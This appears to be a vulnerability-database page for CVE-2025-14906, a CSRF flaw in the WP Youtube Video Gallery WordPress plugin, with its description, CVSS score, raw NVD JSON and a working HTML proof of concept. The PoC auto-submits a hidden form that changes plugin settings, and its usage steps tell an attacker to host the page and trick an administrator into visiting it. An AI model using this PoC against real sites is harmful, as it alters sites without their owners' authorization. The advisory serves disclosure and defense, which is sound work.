Security Vulnerability Report
中文
CVE-2025-14906 CVSS 4.3 MEDIUM

CVE-2025-14906

Published: 2026-01-24 08:16:06
Last Modified: 2026-04-15 00:35:42

Description

The WP Youtube Video Gallery plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce verification on the wpYTVideoGallerySettingSave() function. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Youtube Video Gallery <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-14906 --> <!-- Target: WP Youtube Video Gallery <= 1.0 --> <!-- This PoC demonstrates how an attacker can modify plugin settings --> <!DOCTYPE html> <html> <head> <title>Video Gallery Update</title> </head> <body> <h1>Video Gallery Settings</h1> <p>Please wait while we update your gallery settings...</p> <!-- Auto-submit form to exploit CSRF vulnerability --> <form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;"> <!-- Required WordPress form data --> <input type="hidden" name="action" value="wpYTVideoGallerySettingSave"> <input type="hidden" name="wpYTVideoGallerySetting[gallery_title]" value="Malicious Video Gallery"> <input type="hidden" name="wpYTVideoGallerySetting[gallery_layout]" value="malicious_layout"> <input type="hidden" name="wpYTVideoGallerySetting[default_video_id]" value="VIDEO_ID"> <!-- Additional settings can be modified --> <input type="hidden" name="wpYTVideoGallerySetting[display_count]" value="20"> <input type="hidden" name="wpYTVideoGallerySetting[thumbnail_size]" value="medium"> </form> <script> // Auto-submit the form when page loads document.getElementById('csrfForm').submit(); </script> </body> </html> <!-- Usage: 1. Host this HTML page on attacker-controlled server 2. Trick WordPress admin into visiting the page or clicking a link 3. The form will automatically submit, modifying plugin settings 4. No authentication required from attacker side -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14906", "sourceIdentifier": "[email protected]", "published": "2026-01-24T08:16:06.420", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Youtube Video Gallery plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing nonce verification on the wpYTVideoGallerySettingSave() function. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin WP Youtube Video Gallery para WordPress es vulnerable a la falsificación de petición en sitios cruzados en todas las versiones hasta la 1.0, inclusive. Esto se debe a la falta de verificación de nonce en la función wpYTVideoGallerySettingSave(). Esto hace posible que atacantes no autenticados modifiquen la configuración del plugin a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-youtube-video-gallery/tags/1.0/admin/admin.php#L444", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/53709d2c-6522-40f0-9dc4-82517d3ee7b2?source=cve", "source": "[email protected]"}]}}